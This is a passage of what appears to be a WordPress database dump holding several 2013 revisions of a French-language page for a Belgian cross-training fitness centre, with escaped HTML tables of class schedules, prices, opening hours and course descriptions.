: 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:24:45', '2013-07-03 17:24:45', '', 11, 'http://www.crosstrainingcenter.be/?p=184', 0, 'revision', '', 0),
(189, 1, '2013-07-03 17:38:00', '2013-07-03 17:38:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end :&lt;/h4&gt;\r\n\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:00', '2013-07-03 17:38:00', '', 11, 'http://www.crosstrainingcenter.be/?p=189', 0, 'revision', '', 0),
(188, 1, '2013-07-03 17:35:03', '2013-07-03 17:35:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end :&lt;/h4&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;&lt;/td&gt;\r\n&lt;td&gt;LUNDI&lt;/td&gt;\r\n&lt;td&gt;MARDI&lt;/td&gt;\r\n&lt;td&gt;MERCREDI&lt;/td&gt;\r\n&lt;td&gt;JEUDI&lt;/td&gt;\r\n&lt;td&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 